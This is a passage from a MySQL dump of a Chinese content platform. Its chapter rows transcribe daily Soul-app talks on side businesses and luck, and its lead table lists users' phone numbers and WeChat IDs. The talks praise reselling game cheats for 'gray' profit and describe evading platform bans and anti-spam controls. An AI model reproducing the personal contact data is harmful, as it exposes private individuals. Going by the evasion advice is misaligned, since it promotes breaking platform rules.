人,有这一套筛 10 个 20 个就够,损耗少一半,省一二十万。\n\n\n个人定位做一次 2 万多,公司付,做完知道这个人大概多久会离开、跟岗位匹不匹配。\n\n\n他们内部孵化了独立项目,线下沙龙获客,帮企业搞简历、性格、人岗匹配;\n\n\n找 ENTJ、ENFP、ESTP 这类人去拓市场就行。\n\n\n---\n\n\n5 号麦先生做城市礼物,联系了几家商会,潮汕、成都、珠三角、武汉,做礼品袋定制、印刷要在仓库旁边;\n\n\n鄂州园博园 7 天卖 2 万多,顺丰机场有可能成中部小义乌,政府在谈运营、拿流量换位置。\n\n\n你动作做太多了,木木的小技工也是做甜品、好几家店,你俩可以私聊;\n\n\n我只介绍业务、不挣这个钱,有信息消化掉就行。\n\n\n9 号问:网红要把他的人放进我私域,把流量导走,怎么办?\n\n\n你看中他什么?\n\n\n他看中你什么?\n\n\n你有客户、他能把流量变现,就两种——产品合作或流量合作。\n\n\n产品合作:他提供产品,你运营、你维护,流量握在自己手上。\n\n\n流量合作:你把流量给他,他运维,签协议分钱,最后一定被他拿走,但你挣到你那份。\n\n\n不想被导走就产品合作,让他找人教你、你边做边看,后面你自己维护,不要让他的人维护。\n\n\n招商为什么难做?\n\n\n拉完皮条就没了;\n\n\n用户到你手上,自己做运维、做服务,今年更偏这个方向。\n\n\n江左做私域 AI 员工:RPA 控电脑、加好友、群发、朋友圈、AI 评论发圈、防折叠、智能回复、分时建群,用豆包,数百到千把、全功能千把,代理几百、用户十几万。\n\n\n个微风控和矩阵要解决;\n\n\n公司化一个员工控四五台电脑、一台电脑五个微信,客户重要,你们找做私域渠道的合作会快。\n\n\n---\n\n\nSoul 给的流量又翻了二三十。\n\n\n开派对这条线可以弄个 SOP,告诉想开的人怎么开派对挣钱:后端产品已经有了,前面就是引流到小程序、捆绑 30 天,或者加自己微信自己拉群,一天三五个很正常,会累积。\n\n\n派对里能解决的尽量派对里解决;\n\n\n做副业联系 4 号,进资源群、会员群联系 2 号 3 号 4 号,备注来意。\n\n\n发广告没人看,不如上麦分享。\n\n\n家庭先于事业;\n\n\n能把控的从养生、从关系、从名字和面相做起,再谈命运。', 2309, 0, 1.00, 75, 'published', '2026-03-05 11:02:44.000', '2026-03-10 06:25:50.312', 0, 0, 0, 2.70, NULL, NULL); -INSERT INTO `chapters` VALUES (207, '10.13', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第116场|钱是大风刮来的,怎么抓住?', '# 第116场|钱是大风刮来的,如何接住\n\n\n真正赚钱的,别人为什么要拿出来分享?\n\n\n有些连说都不能说。\n\n\n你看到的明面生意,坐下来算数据,很多根本不挣钱;\n\n\n挣钱的在别处。\n\n\n2026 年 3 月 5 日,上午 6:25。\n\n\n第 116 场,154 分钟;\n\n进房 418 人。\n\n\n---\n\n\n有人问量化交易、AI 能不能帮着挣钱。\n\n\n量化本质上是策略厉害,多因子轮动、你的经验厉害,不是 AI 厉害;\n\n\nAI 只是帮你执行、方便理解。\n\n\n懂的自然懂,不挣钱的用也没用,源码都公开了。\n\n\n没 100 万别跑,基础 100 万都没有,手续费都跑不赢。\n\n\n炒了快 20 年,这东西作用不大;\n\n\n想靠自动交易发财,不可能。\n\n\n很多程序员幻想搞个量化工具就能挣钱,不是的。\n\n\n策略和灵魂才重要,工具只是加速。\n\n\n---\n\n\n我炒大 A 很少碰,一年花不了两三个小时;\n\n\n买外汇玩一玩,伊朗的跌多了就买 10 万块,博个输赢,跟当年买特朗普币一样,有就有没有就算。\n\n\n昨天场上有人做家电维修、桂花糕、人力资源、私域操盘、AI 数字员工,一个板块下面很多细分。\n\n\n人力资源也一样:有高端猎头挖连锁门店运营总、年薪 60 万跳槽变 100 万;\n\n\n有人事邀约一天用 AI 邀约 50 个 100 个、一个 10 块;\n\n\n有高级人才鉴定,测你多久会离职、跟岗位匹不匹配。\n\n\n3 号做猎头,问能不能用 AI 筛简历——应届生加 AI 可以筛,但高端岗位要深挖一个人脑子里想什么,不然叫过来也没用。\n\n\n大厂出来的,我用过好几个阿里新浪抖音百度;\n\n\n除非想裁员,比如 30 人团队想减掉七八个,找一个大厂的人来,大家不适应就会走,前两年就这么干过。\n\n\n不成熟的团队丢一个 ESTJ 进去,也容易散。\n\n\n6 号问灰的。\n\n\n第一桶金很多人是灰的;\n\n\n慢慢再转正。\n\n\n桂花糕、连锁门店利润很薄,要让利、赋能大、成本重,后端没别的东西就挣不到。\n\n\n我自己也赚过灰的:07 年做电竞,11 年拿德国兄弟的魔兽外挂代理,很多人不会英文不会德语,用谷歌翻译一点点聊。\n\n\n进价 18 块,卖 68 一块,工作室 50 台 100 台机子,月费 6000 到 1 万续费;\n\n\n拉了个群全是工作室和想做工作室的人。\n\n\n那一年 400 多万流水,利润 70% 以上。\n\n\n后来暴雪告了作者,作者不做了;\n\n\n年卡终身卡还能用,等于 0 成本又卖了一年,又赚了一倍。\n\n\n灰的赚过就赚过,现在法律完善了,17 年网易告过,360 多万,18 万摆平。\n\n\n本质是渠道生意、做得早、又稀缺;\n\n\n现在卷、更新快、工作室挣不到钱,卖工具的人也难。\n\n\n场上有人说 Soul、讯飞输入法算不算灰——贩卖个人信息、打字就进抖音流量池推精准视频,本质也是灰的,只是藏得深。\n\n\n欢鹿电竞开网吧,挣的不是加盟费,3 个点覆盖不了成本;\n\n\n挣的是云机的钱、算力补贴。\n\n\n谷子店 Green Party 那种,22 年从湖南湖北来厦门开 4 家 5 家,现在到处开,15 到 25 岁年轻人、IP 动漫,净利润率比商场平均高很多,能做到五六十;\n\n\n品牌线下很多是赚吆喝。\n\n\n今年不适合扩张;\n\n\n更多是赋能、超级个体、阿米巴,让优秀的人自己担一部分成本拿更高分成。\n\n\n---\n\n\n咨询行业下滑,企业没钱了;\n\n\n有钱的做细节做实效,没到请咨询那一步。\n\n\n查信息太容易,GPT 一搜就有。\n\n\n但专业的人加精准经验、加资源,还是有用的。\n\n\n有个北京的大神给我做规划定位,股东付了 10 万,聊两小时很受益;\n\n\n有用,但价格高。\n\n\n4 号做职业规划,六七千一单,北上广深客户;\n\n\n一次一两个小时,后续微信交流。\n\n\n从价值看,不少人薪酬能提升 15% 到 20%;\n\n\n有的转行成功,有的掉坑,看人、看执行力、看运气。\n\n\n深圳共享人才、杭州好做;\n\n\n厦门人才洼地,适合养老。\n\n\n北京不少脑子想的是搞点钱就跑,骗投资人;\n\n\n火云邪神卖鞋 29 块 9、成本 70,圈了一两亿,鞋厂亏五六亿、几千人失业,定性诈骗进去了。\n\n\n投资环境不好,我只投内部孵化、知根知底、有确定性数据的;\n\n\n对外一分钱不投。\n\n\n老婆被戏称鼓浪屿包租婆、投资失败率百分百,INFJ 共情一打钱就遇跑路;\n\n\n但也有一次 13 年 14 年给一个刚离婚的朋友 2 万、房子给他住,那人记到现在,去年发家了,追了 12 年一起成立金融公司,直接起飞——所以有些看起来是坑,以后也不是坑。\n\n\n家庭的事:一命二运三风水,四积阴德五读书,六名七相八敬神,九交贵人十养生。\n\n\n第十是养生,身体和身边人好了才能遇贵人;\n\n\n能把控的就是身体、家庭和睦。\n\n\n起势的时候家里花开了、厨房有烟火气、两个人互相谦让、有矛盾立即认错。\n\n\n一辈子分母足够大,分子就那样,拉平就没事。\n\n\n储蓄罐多装美好,矛盾大的时候拿出来消费一下。\n\n\n4 号 23 年进 ICU,五病齐发,差点没了;\n\n\n之后整个人变了,特别在意饮食健康、家庭底层。\n\n\n选伴侣是人生最重要的事,比赚钱比事业都重要;\n\n\n女人是家庭最好的风水。\n\n\n---\n\n\nSoul 上开派对,流量很好;\n\n\n肯开的人按 123 步骤执行、有点内容,很容易拿到一两万人。\n\n\n我都公开,新号也能搞四五百人,方法论 12345 照着做就行。\n\n\n一两百人总能吧?\n\n\n一个月就几千人,做啥生意不能做。\n\n\n地摊平台:SM、厚朴 2000 多摊,和小伙伴一起,海辰储能投了;\n\n\n熬了 7 年亏了 5 年,翔安房子都抵押过。\n\n\n做的是摊位出租、餐车租给摊主,ZF 给地、解决就业;\n\n\nSM 地铁口 900 块、一天人流 3 万要摇号,夜市 2000 到 6000。\n\n\n软二科创园想过做夜市、9 块 9 直播卖饭碾压美团二三十块,成本压到极致。\n\n\n5 号做环保规划、ESG、科技项目申报,问 AI 怎么结合、智能体怎么变现。\n\n\n传统模式是认识 A 介绍 BCD;\n\n\n信任背书重,很难线上化。\n\n\n智能体只能做中间流程、引流对接;\n\n\n先到小程序里让人推、再链接到你,比较有机会。\n\n\n6 号做自媒体、帮中医馆导流,客资 80 到 120;\n\n\n要么先把量做上去、一天导 10 个 20 个再谈合作,要么立个项一起投预算、按比例分、绑深一点。\n\n\n体量足够大,对方才愿意往深了聊。\n\n\n每天 6 点到 9 点,四百到六百人;\n\n\n一个月一万个人,碰不到一个合适的合作者?\n\n\n能碰到几个。\n\n\n五个挑一个,事就成了。\n\n\n不然几万块请一个人,可能没结果,学会了有结果还撬你项目。\n\n\n做副业、做切片的联系管理,123 都可以;\n\n\n有资源群、副业群、会员群。\n\n\n今年 4 到 6 月 all in 电竞,做了 19 年想发力;\n\n\n网吧回本两年,去年 Q4 全国 21 万家,资本没地方去只能往这儿怼。\n\n\n有开网吧的、做游戏主播的、私域操盘手、AI 研发有作品的,可以来聊。\n\n\n钱是大风刮来的——做着做着到一定度,就有人来链接;\n\n\n身体和家庭才是最大的本钱。', 2468, 0, 1.00, 76, 'published', '2026-03-06 14:16:17.000', '2026-03-10 06:25:50.324', 0, 0, 0, 6.90, NULL, NULL); -INSERT INTO `chapters` VALUES (208, '10.07', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第111场|平台规则变了怎么办', '# 第111场|平台规则变了怎么办\n\n\n平台规则一变,别把身家押在一个篮子里。\n\n\n2026 年 2 月 27 日,上午。\n\n\n第 111 场。\n\n\n---\n\n\n那两天 Cursor 大封号,不少高消耗用户也被误伤。\n\n\n有人月耗 TOKEN 七八千,照样被封,申诉就完了,别自己先崩。\n\n\n封号背后是蒸馏攻击那档子事:国内几家套壳用蒸馏技术抽人家研究文档当训练数据,被定义成蒸馏攻击,上升到国家安全层面,对方批量封号。\n\n\n正规用、用得勤的,被一起扫进去,只能认规则。\n\n\n规则是别人的,活法自己的。\n\n\n能控的备好,不能控的别耗。\n\n\n---\n\n\n场上有人问:新号登不上去,要手机号啥的,试了一整天都不行;还有说流程走完了、图也生成了,结果账号里找不到——是不是跟这两天封号有关?\n\n\n会。\n\n\n平台一收紧,接口、存储、展示都会抽风,流程对、结果丢,常有的事。\n\n\n别死磕一台设备、一个账号。\n\n\n云电脑用过吗?远程登录到另一台电脑上操作,本机是华为是苹果都无所谓,封号、限流往往跟设备或环境绑在一起,换环境就少很多 7 的 8 的。\n\n\n真想长期搞,备一台云机、多一个环境,成本不高,省的是心态。\n\n\n---\n\n\n还有人担心:手机、电脑会不会记录隐私,聊啥都被标注、以后被重点关照?\n\n\n平台有能力这么干,但没必要对每个用户都这么干;Soul 上我们聊的每一句话它要留存、做归类、做流量池,那是平台的事,你控制不了。\n\n\n别自己吓自己,也别把时间耗在「会不会被盯上」上。\n\n\n生活在哪就接受哪的规则,抱怨没用,多留后手才有用。\n\n\n---\n\n\n做事落点放在「能控」上:账号封了能申诉、能换号;环境不稳就上云电脑;平台改版就跟着调节奏。\n\n\n不押宝在一个平台、一个号、一台设备,规则变了,还能接着干。\n\n\n想做切片、做副业、要稳定环境的,可以找管理问问云机或备用方案,有电脑会剪辑的也能一起对一下流程。\n\n\n---\n\n\n平台规则变了怎么办?别押宝在一个篮子,备选方案先铺好,接着做事。', 743, 0, 1.00, 70, 'published', NULL, '2026-03-10 06:25:50.254', 0, 0, NULL, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (209, '10.14', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第117场|流水百万挣八千,你还干不干?', '# 第117场|流水百万挣八千,你还干不干?\n\n流水百万挣八千,不是失败,是验证。\n\n2026 年 3 月 6 日,上午 6:31。\n\n第 117 场,154 分钟;场观 51602,进房 503 人。\n\n---\n\n点卡进货 0.97 卖 0.98,流水 100 万挣 8000,利润薄到很多人看不上。\n\n但这一单验证了两件事:高频出手能把随机性压成稳定现金流;机制写死、风控设阈值,情绪来了动作不变形。\n\n点卡的本质不是暴利而是周转,周转快就能用样本量把随机性压成稳定现金流。\n\n风控是阈值,阈值过线就触发,退款、冻结、封店一起上;通道要备份、账号要备份、客服要备份,最坏情况要提前写成流程。\n\n规则写在前面,执行放在中间,复盘放在后面。\n\n先把出局概率压到最低,再谈好运。\n\n---\n\n运气不是等来的,是设计出来的。\n\n设计分三层,次序不能乱:第一层先不出局,第二层进场被选,第三层接住放大。\n\n第一层,不出局。现金流安全垫、健康、可替代收入源、不过度负债、避免单点依赖,这是反脆弱底盘。不出局比赌对更重要,能活着才有机会等到下一次风口。点卡的风控逻辑就是这一层:最坏情况先有答案,真遇到就按流程走,而不是临场靠感觉硬扛。情绪一上来动作就变形,变形就会出局,所以机制要写在前面。\n\n第二层,进场被选。把自己放进高密度机会场,这场的机会场是派对房,一场 300~600 人进房,偶尔 700 人,两小时相当于一场线上会展;固定高频出手,每周发内容、约人、做试单,频率比灵感重要,把出手做成日历事件别等情绪来带路,运气偏爱样本量;做可被选择的标准件,标签写清楚、解决什么问题服务谁怎么交付、给出可验证证据比如案例数据作品,入口做短一步就能合作,入口越短被选中的概率越高;用降低他人风险影响选择,报价结构、交付边界、里程碑、退款保底、试用试单、对赌条款写死,别人选你本质是在控风险,这一场最直接的例子是把「搞不到流量退款」和「内部价 365」写成规则,让对方先敢试再谈放大。\n\n第三层,接住放大。建立信任资产,信任等于持续一致加可预测交付加公开证据,信任越厚越容易被默认选择,能交付就交付不能交付就提前说清楚边界;把人脉当路由器不是收藏品,关键不是认识多少人而是能把价值在网络里路由起来,资源对接、信息过滤、机会撮合,越像基础设施越常被想起,派对房的价值是把需求和供给撮合到能落地的那 3%~5%;做有杠杆的表达,内容作品产品方法论都是杠杆,杠杆越大别人看到你的概率越高,把每次好运都沉淀成可复用素材;把恐惧决策从系统里剔除,预算上限、止损线、决策清单先写出来,机制的意义是让最坏情况先有答案;把不确定变成可选项,少做不可逆的大赌,多做小成本可撤退上行无限的尝试,多渠道多产品雏形多合作试单,机会是试出来的不是等出来的;选正反馈环境,赛道组织伙伴是否奖励正确行为,环境惩罚努力就别硬扛;把好运变复利,沉淀 SOP、包装案例、提炼方法论、产品化渠道化,把一次性好运变成持续性能力。\n\n---\n\n先不出局,再进场被选,再接住放大;次序乱了,运气接不住。\n\n把风控写成流程,把分配写死在合同里,把出手做成日历事件。\n\n---\n\n合作的核心不是热情,是把风险和分配写死。\n\n钱从哪里来、花到哪里去、挣回来怎么分,不写清楚必然翻车。\n\n钱打公账、明码标价、财务监管,是降低内耗的最短路径;没有预算的项目最容易崩,谁请客谁垫钱说不清就变成欠账。\n\n这一场聊链接合作、派对流量、教培,核心都是同一套:把价值写清楚、把流程写清楚、把价格写清楚。\n\n派对里跑项目,装龙虾和代充都验证了同一件事:标准件、低摩擦入口、降低他人风险,把价值写清楚把流程写清楚把价格写清楚,对方缺利润就会主动找你。\n\n想做副业、做切片的,联系管理就行,发就有钱,流程跑通就持续给。\n\n---\n\n运气等于在场频率乘可被选择,再除以出局风险。\n\n流水百万挣八千,验证的是底盘稳;底盘稳了,才有资格谈放大。', 1544, 0, 1.00, 77, 'published', NULL, '2026-03-10 06:25:50.335', 0, 0, NULL, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (210, '10.15', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第118场|运气是选出来的,不是等出来的', '# 第118场|运气是选出来的,不是等出来的\n\n运气是选择叠加出来的,不是求来的。\n\n2026 年 3 月 7 日,上午 6:39。\n\n第 118 场,190 分钟;场观 74873,进房 586 人。\n\n---\n\n人无非在做很多选择,你的选择可控,别人的选择你不可控。\n\n运气,就是你的选择叠加了别人的选择,再加上天气、环境、事件这些外在因素,三重叠加等于运气。\n\n比如招人,对方选不选你来面试你不可控,但你选不选他、看不看得懂简历,你可控。\n\n看懂简历你就邀约,这是可控,他来了,能力很强、跟公司很匹配,那是他的选择,你控制不了,那就是运气。\n\n运气好,就是好的人、好的事、好的环境同时选了你,所以提升运气不是意念,是改磁场。\n\n改磁场靠行动,不靠想,想不动。\n\n---\n\n怎么提升?三条主径:提升影响力,提升识别能力,提升圈子。\n\n第一条,提升影响力,多说多曝光,更多人知道你,机会自然多,被选中的概率自然高。\n\n最简单的动作,每天发一条朋友圈,坚持发。\n\n开派对就是提升曝光量,每天 300~700 人进房,每月一两万人在听 10~15 分钟,这就是在堆曝光。\n\n第二条,提升识别能力,不踏坑,别在错的人、错的事上浪费机会。\n\n看不懂就不碰,看不懂就是不确定,不确定就别决策。\n\n每天跟一个高质量的人交流,或者每天看一个跟自己专业相关的视频、一本书,做笔记,都是在提升识别力。\n\n第三条,提升圈子,圈子决定你的格局和机会池。\n\n圈子越小越精,越值钱,全国电竞圈子核心就 8 个人,最大的五家天猫游戏老板都在里面,谁要联系谁,发条微信就行。\n\n入圈的前提是你有分量、有筹码,不是求来的,是别人选你。\n\n---\n\n三条主径往下拆,就是十二个可执行动作。\n\n一、找高密度机会场,机会最大的地方才有运气。AI 是当前最大的机会场,派对名加 AI,聊事跟 AI 相关,公司全用 AI 提效,你 all in 进去,机会自然多。\n\n二、高频出手,样本足够多,运气才会到你这。派对两三个小时快速撮合 a、b、c、d、e,能聊到一块的拉群直接开干,快速试错、快速链接,高频才有叠加。\n\n三、做可被选择的标准件,让别人选你而不是你求人。做电竞、做私域,能带给电商公司什么、带给游戏公司什么,非常清楚,每天在展示这个,曝光够了,是被选择。\n\n四、降低别人的风险,别人敢选你,才选你。做切片不用你花钱,还给你钱、培训、分钱,全部降低风险,2000 块就能做最小闭环,不用租办公室、不用凑十万块。\n\n五、建立信任,言行一致、持续叠加,信任才会厚。有场地、有团队、有持续在做的事,一年两年都在做同一件事,别人更愿意跟你合作。\n\n六、把人脉当路由器,不是收藏品。不是认识你就放着,是你需要他、他需要你,委托他去调配资源,利益分清楚。\n\n七、做有杠杆的表达,放大你的声音。派对里说一遍,录下来写成文章发小程序,再发朋友圈,再让粉丝分发赚钱,一次表达撬动几千几万人。\n\n八、剔除恐惧决策,看不懂、害怕的事,不要决策。量化为什么容易赢?它只在可控数据模型底下做最小闭环,不靠感觉,不靠赌。\n\n九、永远在牌桌上,不要出局。出局就是破产、没钱参与,控制好预算、跑好最小单位模型,一直在牌桌上,才能等到下一波运气。\n\n十、把不确定变成可选项,期权思维。炒股方法很多,看不懂就是不确定,只做确定的事,比如 11 点半到 1 点放消息的时间窗口,看得懂就做,看不懂不碰。\n\n十一、做正反馈的事,小成功推动大成功。小成功获得小自信,中成功获得中自信,螺旋上升,力所能及不断叠加。\n\n十二、把好运变成复利,流程化、案例化、方法论化。当这些变成体系、框架、流程,运气就不是一次性的,而是可以复利的。\n\n---\n\n这一场聊 3D 打印、游戏代充、正财偏财,本质都是同一套:正财是稳定现金流、可复制模型,偏财是看懂窗口、快进快出。\n\n拆迁砸到你头上,首先你得是村里的、有户口,你才有资格被砸中。\n\n运气是留给有准备的人,首先你得拥有这个东西,并且不断在曝光。\n\n想做副业、做切片的,联系管理就行,发就有钱。\n\n---\n\n运气可以改变,改变靠做,不靠想。', 1583, 0, 1.00, 78, 'published', NULL, '2026-03-10 06:25:50.347', 0, 0, NULL, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (211, '10.16', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第119场|开派对的初心是早上不影响老婆睡觉', '# 第119场|开派对的初心是早上不影响老婆睡觉\n\n早起不是为了开派对,早起是为了不吵老婆睡觉。\n\n2026 年 3 月 8 日。\n\n第 119 场,154 分钟;场观 50692,进房 446 人。\n\n---\n\n平常早上 4 点起来,复盘、写文章、写公告,干完活到 6 点,6 点开派对,纯粹聊天,两三个小时。\n\n为什么不是 5 点把老婆挖起来聊聊天、遛遛狗?因为吵她睡觉。\n\n初衷是不吵老婆,开派对核心就这个,不然平常就遛遛狗吵吵她。\n\n所以去隔壁书房,自己聊、跟大家聊,聊完老婆也醒了,家里也舒服。\n\n这个初心自然而然形成了风格:娱乐型社交,允许说废话,不刻意做体系。\n\n才来 Soul 四个月,开派对三个半月,119 场,七八个管理、几十人做切片、副业群、小程序,全是自然形成的。\n\n千里宝宝问我勤快吗?勤快?懒,懒得半死,每天太闲了,几乎都在睡觉。\n\n早上 11 点或下午 3 点才会客,一周排不了两个面试,平常公司泡茶、睡觉,其他时间都是大家主动拜访的多。\n\n懒是人的本性,谁想勤快?\n\n但懒有懒的活法:动作足够简单、有利可图、正反馈,就能坐得住。\n\n开派对 30 秒就开,7 个手机,5 个安卓备用号,进房间直接开,不纠结取名、不纠结装修,动作足够简单。\n\n发切片就给钱,发瞬间就有收益,获客资再给钱,有利可图;谁受益谁坚持,正反馈来了就能坐得住。\n\n九麦问我刚 ICU 出来没多久?一年多了,3 月 20 号进的,五病齐发,差 5 分钟就没命,又救回来了;活着要留下点什么,留点内容在互联网上,万一下次回不来了就没了。\n\n走过鬼门关之后,想的角度不一样,更多是顺着自己喜好做事,顺便留下点东西,所以坚持写书、写日记、天天哔哔,尽可能自然来的事。\n\n初心不一样,结果就不一样。\n\n---\n\n早起先把活干完再开派对,不吵家人。\n\n动作足够简单:30 秒能开就别纠结取名装修。\n\n有利可图、正反馈:谁受益谁坚持,发就给钱。\n\n开派对就是筛选:能坚持发 7 天、14 天的人再去找管理。\n\n做好自己,不消耗能量,闲聊留给闲的时候。\n\n---\n\n有人问 Soul 的业务模型。\n\n开派对多分享,很多人来分享最赚钱的一个月,写成文章,派对几小时生产内容;几十人想做切片的在群里,给钱做切片,分发到瞬间引流;一块钱一节浓缩进小程序,谁分享谁拿 90% 收益,30 天锁定;后端推流业务、撮合项目、招人,就这样。\n\n等于把抖音成熟的模式在 Soul 上做一遍,抖音 17 年就开始做,18 年起飞,整个生命周期都参与了,现在流量很差,Soul 还有机会。\n\n光派对每月 60~100 万曝光,一两万人进房,捞几个客户很容易;分发是 20~100 倍的曝光量。\n\n但我说 Soul 现在都是花钱的,不是靠这个挣钱,主要是让管理和参与的人能看到钱、参与进来;想做副业、做切片的,联系管理就行,发就有钱,流程跑通就持续给。\n\n有人问切片是什么形式?一块钱在哪买?\n\n想做副业的人联系管理,副业只干一件事:把视频发到瞬间,就给钱,做多少动作给多少钱;别人看了瞬间私聊问内容在哪,切片只有 30 秒到 8 分钟,理解不深,所以后端做了小程序,3 小时浓缩成一块钱,30 秒能看完;付一块钱,90% 收益归分享的人,30 天锁定,后续消费也跟他绑定。\n\n以前 3 小时派对想提取 10~30 个主题,得花一个礼拜剪,现在 AI 半小时能剪 10~30 个,发多容易,发就给钱。\n\n我说开派对本身就是筛选:能开派对的人再来,能坚持发视频 7 天、14 天的人再去找管理,这是基础筛选;如果对方不能跟你合作、跟你没关系,就不要闲聊,除非很闲;每天都要做这动作时,尽可能不消耗自己能量,做好自己就行。\n\n核心就两个字:筛选。\n\n---\n\n阿满接麦,说刷着牙在听,想听听业务逻辑,能不能代入一下自己的赛道。\n\n阿满主业做贷款,兼职做保险,又在炒股,都绕着金融走。\n\n我说金融这块有投资一家助贷公司,可以讲一讲它跟 AI 怎么结合:金融最缺客户,后端 30 人,沉淀 12 年,跑银行对接、助贷放款;前端把 AI 手机分发给银行职员、法务、财务,对方只要把客户加到微信,AI 来点赞、评论、转发、激活,中台 30 人负责线下成交,分钱比例写死在流程里,跳单约束住,就不会出事。\n\n厦门最大的助贷公司干了二十几年,想并它,并不动,因为跑的数据比他们获客和投产高三倍。\n\n阿满问有没有合作机会,我说可以找叶总聊,看在你城市能不能再搞一个;联系方式分段发,或者搜卡若创业派对小程序,点右上角头像,AI 会自动加你。\n\n阿满问能不能把金融 AI 获客体系嫁接到保险,成本大概多少?\n\n成本很重,去年 7 月到现在预算花了一百七十几万,总预算二百六十几万,打磨体系不是开玩笑的;但前端的人几十块钱就能参与,挣几百可能上万,后端磨了大半年才摸出来,前端就是丢个手机,发就给钱。\n\n有人问,还记得来时路吗?还不是很强的时候,怎么建立信任?\n\n直接去做,直接执行,没有别的。\n\n早年卖游戏外挂,加工作室群,天天加、天天发、天天聊,人家就来找你买;买着买着发现利润可以,就去找全世界最好的渠道,发邮件发三个月,不会英文用谷歌翻译发德文,终于拿下德国总代,一分钱没花,靠认真做事、长期给别人带来价值;那一年 11 年还是 12 年,卖了 430 多万;进价 18 块,卖 68 块,工作室 50 台 100 台,月费 6000 到 1 万。\n\n信任不是求来的,是做出来的;门槛是自己定的,后端产品能不能跟你融合,看你怎么设计包装、解决目标人群的需求。\n\n---\n\n有人分享深圳电工开房,24 小时房,流量高峰主持,平时几个管理顶,场观经常 100 人,各行业大佬刷礼物,但还没找到变现;我说这种房价值低,因为人群没筛选,报来报去没有筛选,钱在筛选出来的人身上;李亚鹏 33 万人众筹 500 多万,最终 2300 多万是几个大佬 500 万、1000 万砸的,筛选出来的优秀的人用业务体量和体系解决需求、赚应得的钱,顺便给李亚鹏借力;你要众生平等解决所有人需求,不可能都挣到钱,筛选才能出钱出利润。\n\n九麦问学国学、易经怎么学的,试了几次没学成。\n\n我说方法很简单:先看序和说明,再看目录,找最感兴趣的章节,把那几章看完,再快速扫整本;曾仕强讲得很有节奏感,两小时能看完七七八八;国学、易经是为了向内求、了解自己,才能驾驭 AI,而不是被 AI 控制。\n\n有人问睡眠不好怎么办,冥想、呼吸法都试了没用。\n\n想睡好觉,先把事放下,每天放下一件事,不要想,就放下;做减法一段时间,睡眠就好;你都快爆炸了还造个钟把自己变炸弹?要循序渐进让身体习惯,我现在一躺 30 秒就睡着,前一句跟老婆聊天,后一句就睡了。\n\n人智力最高的时候是起床之后两小时;4 点起床,6 点开派对,脑子刚好活。\n\n我说 Soul 房间等级看右上角鸽子,3 级能设 2 个管理,4 级能设 3 个;没投流,Soul 现在 1000 曝光 6~10 块,算下来派对到微信 20~30 块进一个人;广点通可以投 Soul 流量了,要审核,商业化刚开始。\n\n上周六 700 多人,上周曝光量比上上周又涨了 30%,光上周就 20 多万快 30 万。\n\n做副业的、做切片的,联系 2 号 3 号管理;想做金融的,联系 7 号;有靠谱项目想写进电子书的,来派对分享;小程序搜卡若创业派对,内容都有,想合作、想对接,点头像 AI 会加你。\n\n---\n\n初衷是不吵老婆,开派对核心就这个。', 2817, 0, 1.00, 79, 'published', NULL, '2026-03-10 06:25:50.358', 0, 0, NULL, NULL, NULL, NULL); - --- ---------------------------- --- Table structure for ckb_lead_records --- ---------------------------- -DROP TABLE IF EXISTS `ckb_lead_records`; -CREATE TABLE `ckb_lead_records` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `wechat_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `params` json NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `target_person_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `source` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_ckb_lead_records_user_id`(`user_id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 16 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of ckb_lead_records --- ---------------------------- -INSERT INTO `ckb_lead_records` VALUES (1, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '乘风', '15260158253', 'flydo888', '乘风', '{\"name\": \"乘风\", \"phone\": \"15260158253\", \"userId\": \"ogpTW5a9exdEmEwqZsYywvgSpSQg\", \"wechatId\": \"flydo888\"}', '2026-03-07 11:44:45.929', '', ''); -INSERT INTO `ckb_lead_records` VALUES (2, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '乘风', '15260158253', 'flydo888', '乘风', '{\"name\": \"乘风\", \"phone\": \"15260158253\", \"userId\": \"ogpTW5a9exdEmEwqZsYywvgSpSQg\", \"wechatId\": \"flydo888\"}', '2026-03-07 16:25:33.404', '', ''); -INSERT INTO `ckb_lead_records` VALUES (3, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', '乘风', '15260158253', 'flydo888', '乘风', '{\"name\": \"乘风\", \"phone\": \"15260158253\", \"source\": \"index_lead\", \"userId\": \"ogpTW5a9exdEmEwqZsYywvgSpSQg\", \"wechatId\": \"flydo888\", \"targetUserId\": \"\"}', '2026-03-10 10:26:14.863', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (4, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '少年梦想家', '', 'xyz469003865', '少年梦想家', '{\"name\": \"少年梦想家\", \"phone\": \"\", \"source\": \"index_lead\", \"userId\": \"ogpTW5cteGWqwOsRzh_CCIdKWGSE\", \"wechatId\": \"xyz469003865\", \"targetUserId\": \"\"}', '2026-03-10 10:40:44.176', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (5, 